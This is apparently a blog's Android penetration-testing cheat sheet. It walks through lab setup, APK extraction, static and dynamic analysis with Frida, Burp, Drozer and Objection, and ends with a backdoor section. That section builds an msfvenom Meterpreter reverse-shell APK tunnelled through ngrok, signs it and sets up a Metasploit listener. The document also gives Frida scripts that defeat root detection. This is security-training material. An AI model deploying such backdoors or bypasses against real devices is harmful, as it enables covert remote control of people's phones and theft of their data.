Pentesting Android thecyberpunker

Pentesting Android

Pentesting Mobile – Android – Summary

Contents

Under Constant Update – V1.(04/19/23)

Pentesting Android – Architecture

  • Application framework. The application framework is used most often by application developers. As a hardware developer, you should be aware of developer APIs as many map directly to the underlying HAL interfaces and can provide helpful information about implementing drivers.
  • Binder IPC. The Binder Inter-Process Communication (IPC) mechanism allows the application framework to cross process boundaries and call into the Android system services code. This enables high level framework APIs to interact with Android system services. At the application framework level, this communication is hidden from the developer and things appear to “just work”.
  • System services. System services are modular, focused components such as Window Manager, Search Service, or Notification Manager. Functionality exposed by application framework APIs communicates with system services to access the underlying hardware. Android includes two groups of services: system (such as Window Manager and Notification Manager) and media (services involved in playing and recording media).
  • Hardware abstraction layer (HAL). A HAL defines a standard interface for hardware vendors to implement, which enables Android to be agnostic about lower-level driver implementations. Using a HAL allows you to implement functionality without affecting or modifying the higher level system. HAL implementations are packaged into modules and loaded by the Android system at the appropriate time. For details, see Hardware Abstraction Layer (HAL).
  • Linux kernel. Developing your device drivers is similar to developing a typical Linux device driver. Android uses a version of the Linux kernel with a few special additions such as Low Memory Killer (a memory management system that is more aggressive in preserving memory), wake locks (a PowerManager system service), the Binder IPC driver, and other features important for a mobile embedded platform. These additions are primarily for system functionality and do not affect driver development. You can use any version of the kernel as long as it supports the required features (such as the binder driver). However, we recommend using the latest version of the Android kernel. For details, see Building Kernels.
  • App Manifest Overview. Every app project must have an AndroidManifest.xml file (with precisely that name) at the root of the project source set. The manifest file describes essential information about your app to the Android build tools, the Android operating system, and Google Play. Reference: App Manifest Overview

Pentesting Android – Lab Setup

Pentesting Android – Lab Setup VMWARE

Steps to install into VMware

  • Download the x32 ISO Android version.
  • Create a typical VM, recommended options:
 linux 4.x  
 disksize:8gb 
 customize Hardware:
 ram:2gb
 Processors:2
 add a new network adapter.
  • If Android start only on shell go to VM customize hardware: Change display settings to:
 Accelerate 3D graphics
  • Install and follow the installation guide.
  • On boot you need to do the next:

Edit grub first line:

# Press e Key:
# Android -x86 8... with
# Press e Key:
# add the next options to the text
nomodeset xforcevesa
# Press enter
# Press b to boot

Note: nomodeset xforcevesa will display Android interface, without this only shell will display.

Pentesting Android – Lab Setup Genymotion

Note: license not for hacking~~~

chmod +x genymotion.....bin # Add permissions to the downloaded file
./genymotion-3.2.1-linux_x64.bin # Execute the downloaded file
cd genymotion/ # Go to GenyMotion folder
cd genymotion/tools # Go to GenyMotion tools
./adb connect <ANDROID-IP>:5555 # Connect with adb to the Android VM 
Pentesting Android – Lab Setup Android Studio

Install JDK if you don’t have https://www.oracle.com/java/technologies/downloads/

sudo dpkg -i jdk-18_linux-x64_bin.deb
tar -xzvf android-studio-2021.2.1.15-linux.tar.gz # Unzip Android Studio
cd android-studio-2021.2.1.15-linux
cd bin
./studio.sh # Execute
# follow the installation guide
# optimize vm android or acceleration https://developer.android.com/studio/run/emulator-acceleration?utm_source=android-studio#vm-linux
Pentesting Android – Lab Setup ADB
  • Install ADB
# For Debian - Parrot
sudo apt install android-tools-adb
Pentesting Android – Lab Setup Frida
cd Downloads
xz -d frida-server-15.1.24-android-x86.xz # Unzip
mv frida-server-15.1.24-android-x86 frida-server # Change the name to the file
adb devices # List virtual devices

Note: if the device is not displayed try to connect directly, with:

adb connect 192.12.123.0:5555
adb push frida-server /sdcard # transfer frida server to sdcard
adb shell
cd sdcard
mv frida-server /data/local/tmp/
cd /data/local/tmp/
chmod +x frida-server
  • Go to device terminal
cd /data/local/tmp/
./frida-server
  • Open new device terminal
netstat -tplan # check the frida-server service port running
  • Go to the computer terminal and make port forwarding
adb forward tcp:27042 tcp:27042
sudo pip install frida-tools # Install frida tools
frida-ps -U # list apps Running proccess
adb shell pm list packages # list apps Installed

Pentesting Android – Retrieving APP Files

The are four different scenarios of how to retrieve an APK file: – ADB – Online Services – Applications – Client provides the APK file directly

Pentesting Android – Retrieving APP Files – ADB

  • Connect to the device

Into a terminal:

adb devices # list devices attached
adb connect 192.134.0.3:5555 # connect to the device
  • Enter to the device
adb shell # enter to the device via shell mode
  • List permissions
id # list permissions
  • List all the apps and the installation folder
pm list packages -f # list apps and locations
  • Get or download the app
adb pull /data/app/com.android.<APP> <name_download.apk> # download the apk to the computer or put .

Pentesting Android – Retrieving APP Files – Applications

With ApkExtractor, you only need to select the apk to extract and the will be extracted to the folder ExtractedApks into the SDCard

adb shell # enter to the android shell
cd /sdcard/ExtractedApks # go to the folder where the app was extracted
adb pull /scdcard/ExtractedApks/examplecom.android.example/example.apk . # or the name desired for the app

Pentesting Android – Android Basics (Development)

Pentesting Android – Static Analysis

Pentesting Android – Static Analysis – Decompile Applications

# inside the folder where the apks or apps are locate
file example.apk # get the type of file
exiftool example.apk # get the metadata of the file
hexdump -C example.apk | less # get the magic bytes for the type of file, the first 4 bytes are the type, example: zip = 50 4b 03 04
cp example.apk example.zip # create a copy of the file with the extension detected.. zip
unzip example.zip -d folder

Pentesting Android – Decompile Applications with APKTOOL

Download and install APKTOOL

  • With package manager
sudo apt install apktool
mkdir apktool
cd apktool
nano apktool # create a new file with the name apktool and paste the content of wrapper script
mv apktool-2...jar /path/apktool # move apktool.jar file to apktool folder
  • Decompile an APK with APKTOOL
mv android-app.apk /path/apktool # move the file desire to decompile or reversing to the apktool folder
cd apktool
chmod +x apktool
./apktool d android-app.apk # this command will decompule the apk into a new folder
cd android-app # enter to the directory and start to analyzing

Pentesting Android – Static Analysis – Recompile Applications with APKTOOL

  • Rebuilding
./apktool b /path/android-app # rebuild the application
cd /path/android-app
cd /path/android-app/dist # dist is the folder where the new rebuild apk will appear

Pentesting Android – Static Analysis – Bytecode Viewer

Bytecode Viewer is a tool for analyzing java class files. With this application you can view its fields, methods and global infos. https://bytecodeviewer.com/

# inside the folder
java -jar Bytecode-Viewer-....jar # with this app with can open the apk directly without Decompile

Pentesting Android – Static Analysis – JADX Viewer

Dex to Java decompiler, Command line and GUI tools for producing Java source code from Android Dex and Apk files github.com/skylot/jadx

# move the downloaded file to the folder
unzip jadx-1..zip -d jadx # Decompress
cd jadx/bin
./jadx-gui # open the program or the apk with jadx

Pentesting Android – Static Analysis – Search Strings

Open the file with JADX and start to search vulnerable strings

grep -R 'activity' # search recursively some text
grep -R --color 'activity' # search recursively and colored the search text
grep -Rn --color 'activty' # search recursively, give the line and colored the search text
grep -Rn --color -e 'activity' -e 'login' # search for different words

try to search with this examples from paulino

Pentesting Android – Static Analysis – Search Databases

#poc store some data in an apk example: user = password

# go to computer terminal and
adb devices
adb connect 192....
adb shell
su
cd /data/data
cd <name of the app> # one way to get the name is in ther first line of the AndroidManifest
cd /shared_prefs/ # this can change, check the app logic... example tempfile, other

Pentesting Android – Static Analysis – Binary Analysis

file libreria.so # check type of file
exiftool libreria.so # check metadata
strings libreria.so | less # show text inside
hexdump -C libreria.so | less #show hexadecimals and text

Using Radare 2 to analyze binaries

we can use ida or ghidra

r2 -A liberia.so
v # press v for visual mode

Pentesting Android – Static Analysis – MobSF

Other alternatives

Install MobSF

documentation https://mobsf.github.io/docs/#/ Note: follow the documentation above, the following installation is just an example.

# install requeriments
sudo apt install python3-dev python3-venv python3-pip build-essential libffi-dev libssl-dev libxml2-dev libxslt1-dev libjpeg8-dev zlib1g-dev wkhtmltopdf
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git 
cd Mobile-Security-Framework-MobSF 
./setup.sh
./run.sh # upload the apk and start with the analysis

Pentesting Android – Dynamic Analysis

Network traffic.

Pentesting Android – Dynamic Analysis – Packet Capture

Packet Capture is a dedicated app to capture and record network packets. Using this app, you can not only capture and record packets but also decrypt SSL communication using MITM (man in the middle) attack.

Pentesting Android – Dynamic Analysis – ZAP Proxy

OWASP ZAP is an open-source web application security scanner. It is intended to be used by both those new to application security as well as professional penetration testers.

# Installing OWASP ZAP

chmod +x Download/ZAP_1....sh # add permissions
sudo ./donwloads/ZAP_1....sh  # install with root and follow zap interactive guide.
  • Setup ZAP proxy
# COMPUTER
# go to zap proxy
# settings
# Proxy
# add the mobile ip and the port 8080

# MOBILE
# Go to network settings and edit the WIFI network
# put the proxy config
# start to sniff ONLY web trafic

Pentesting Android – Dynamic Analysis – Burpsuite

Burp Suite is an integrated platform and graphical tool for performing security testing of web applications, it supports the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities.

# Installing JAVA

java -version # check the java version, if java doesn't appear install with the next command
sudo apt-get install openjdk-8-jre # check for newer version... sudo apt search openjdk

chmod +x Download/burpsuite....sh # add permissions
./donwloads/burpsuite...sh  # install without root and follow zap interactive guide.
cd ~
cd BurpsuiteCommunity
./BurpsuiteCommunity
  • Setup Burpsuite proxy
# COMPUTER
# go to burpsuite
# Proxy
# add the mobile ip and the port 8080

# Install the SSL cert
# go to Proxy > Options
# click import /export certificate > export as .DER on the folder BurpsuiteCommunity

cd BurpsuiteCommunity
openssl x509 -inform DER -in burpsuite.DER -out burpsuite.pem
openssl x509 -inform PEM -subject_hash_old -in burpsuite.pem |head -1 # extract the header
mv burpsuite.pem 9a5vasa.0 # 9a5vasa the name of the header.

# MOBILE

adb connect 192.168.... # connect to the device
adb push 9a5vasa.0 /sdcard/ # copy the cert 9a5... to the device
adb shell # open device as terminal
su
cd card
mv 9a5vasa.0 /system/etc/security/cacerts/
cd /system/etc/security/cacerts/
chmod 644 9a5ba575.0

# BURPSUITE
# go to Proxy > Options > Match and Replace > check the box response header stric transport security = to force only to hsts

# REBOOT THE DEVICE

#shell
adb connect 192.17.....
adb shell
su
settings put global http_proxy 192.168....:8080


Pentesting Android – Dynamic Analysis – Drozer

sudo dpkgi -i Downloads/drozer....deb

# On mobile install the agent
# https://github.com/FSecureLABS/drozer#installing-the-agent

adb devices
adb connect 192....
adb install drozer-agent...apk

# Open drozer on your device and turn on
# drozer will start a serve on port 31415
# do port forwarding

# from computer
adb forward tcp:31415 tcp:31415
drozer console connect

Drozer commands

run app.package.list -f <name of the app> # search the package name of the app
run app.provider.info -a <name of the package> # list the provider permisions list
run app.provider.finduri <name of the package> # show all uris of the provider app
run app.provider.read content://<provider uri> # 

Extract provider database

# on computer
adb shell
su
cd /data/data/<app name>
ls # check if databases folder exist
cd databases # enter to the database folder en locate a package example database.db

# on drozer

run app.provider.download content://<provider uri>/databases/database.db . # /databases/database.db <path of the file>

# with sqlitebrowser
sqlitebrowser database.db # read the database

logs with PID Cat

Download PID cat from: https://github.com/JakeWharton/pidcat

cd pidcat
python3 pidcat.py --current # this will start to capturing log data

change web view behavior

  • With log data we can found a webview activity trying to open a webpage or external service, and we can change that behavior
# supposed that you found a url send on login of the apk
# then you supposed that the login is in the main actitivy. example: com.example.registrationWebView

# on computer
adb devices
adb connect 1921...
adb shell am start -n <name of pacakge>/<name of the activity> -es <parameter to inject> <value> # example: com.example.webvuln/.registrationWebView reg_url https://google.com

Pentesting Android – Dynamic Analysis – Frida

Pentesting Android – Dynamic Analysis – Frida – Root Detection Bypass

  • Change the behavior of an app with frida
  • first check the main activities and locate the root detection fuction
  • Example of java android code with root detection from the main activities
// file name package com.example.app
// file .MainActivity
public void onCreate(Bundle bundle) {
	if (c.a() || c.b() || c.c()) { // try to c give false answer for bypass
		a("Root detected!");
	}
	if (b.a(getApplicationCOntext())) {
		a("App is debuggable!");
	}
	super.onCreate(bundle);
	setContentView(R.layout.activity_main);
}

// file example.a.c
public class c {
	for (String str: System.getenv("PATH").split(":")) {
		if (new File(str, "su").exists()) {
			return true; // this is the fuction to try to bypass
		}
	}
	return false;
}

Example of root bypass with frida hooking for the code above

// script for the file with the root function file a.c
Java.perform(fuction(){ // start a new functionality
	var classRoot = Java.use("example.a.c"); // give random name variable "classRoot" and with java use call the class of the functionality

	classRoot.a.implementation = function(){ // when the script found the function will return false
		console.log("Se llamo a la clase a");
		return false;
	}
	classRoot.b.implementation = function(){
		console.log("se llamo a la clase b");
		return false;
	}
	classRoot.c.implementation = function(){
		console.log("se llamo a la clase c");
		return false;
	}
})
// save like example-root.js

Bypass root detection deleting all system call to cloes

// bypass system.exit
Java.perform(function() {
	const System = Java.use('java.lang.System')
	System.exit.implementation = function(){} // when the script found call exit will return nothing a void function

})
  • With frida running in the device
frida -U --no-pause -l example-root.js -f com.example.app

Try to bypass root detection with Frida

frida -U --no-pause -l bypass_antiroot.js -f com.android.app1

Pentesting Android – Dynamic Analysis – Runtime Mobile Security (RMS)

cd RMS-Runtime-Mobile-Security
node rms.js

# on the mobile run frida server
cd /data/local/tmp/ # if dont work try to run with su
./frida-server

# on the computer try to port forward
adb fordward tcp:27042 tcp:27042

# then go to browser and 127.0.0.1:5000
# config runtime mobilesecurity, choose an app and start hacking.

Pentesting Android – Dynamic Analysis – Objection

Try to bypass root detection with Objection

git clone https://github.com/sensepost/objection
cd objection
sudo pip3 install objection
# Objection will try to insert frida into the app
objection patchapk --source example.apk # if objection put an error, try to sign the app manually
jarsigner -keystore mykey.jks -storepass asdf123 -keypass asdf123 example.apk dominio.com

# install the patched and signed apk
adb install example.apk
objection explore # this command will start the app and prompt a session terminal
# and start playing with objection
https://github.com/sensepost/objection/wiki

objection -g com.todo1.mobile explore

Pentesting Android – Backdoor

Pentesting Android – Backdoor – Msfvenom – creating a backdoor

Msfevenom is…. meterpreter is a session manager – create a connection between android an pc

Tunneling services Ngrok

service apache2 start # start a webserver
cd /var/www/html/

# register into ngrok.com
# download ngrok and follow the webpage steps
unzip /path/donwloads/ngrok.zip
cd ngrok
./ngrok authtoken 123asd93414example......
# using ngrok
ngrok tcp 4040 # start a service on port 404
# Wll appear a session status like this
# Forwarding tcp://0.tcp.ngrok.io:17197 -> localhost:4242

Creating a backdoor with msfvenom

msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT:17197 R > /root/Desktop/vulnapk/example.apk

Pentesting Android – Backdoor – Signing APK

You need to sign the apk in order to install the apk correctly You need java development kit in order to sign the file

Download keytool app (create documentation)

cd /root/Desktop/vulnapk # inside the same folder of the apk created with msfvenom
keytool -genkey -v -keystore myoriginalcert.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000 # follow the steps when press enter, you can skip the questions and let it blanks
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore myoriginalcert.keystore example.apk example_signed.apk # sign the apk

Pentesting Android – Backdoor – deploying with Metasploit

Starting services (only if metasploit doesn’t start)

service postgresql start

Starting Metasploit

msfconsole # start metasploit

# inside of metasploit
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 0.0.0.0 # Don't use ngrok ip or conection, use this
set LPORT 4242 # use the ngrok setup port

exploit -j -z # start to listening on background

Send the example.apk modified with msfvenom to the test victim. (you will discover your way) Hacked

# into metasploit
sessions -l
sysinfo # show info about android session

# you can start to play with the meterpreter commands

Pentesting Android Resources

Pentesting Android Labs

Pentesting Android Tools

Pentesting Android Report

Report Template

title
attack type / severity
Decription / Impact
Proof of concept / POC
Remediation / recomendation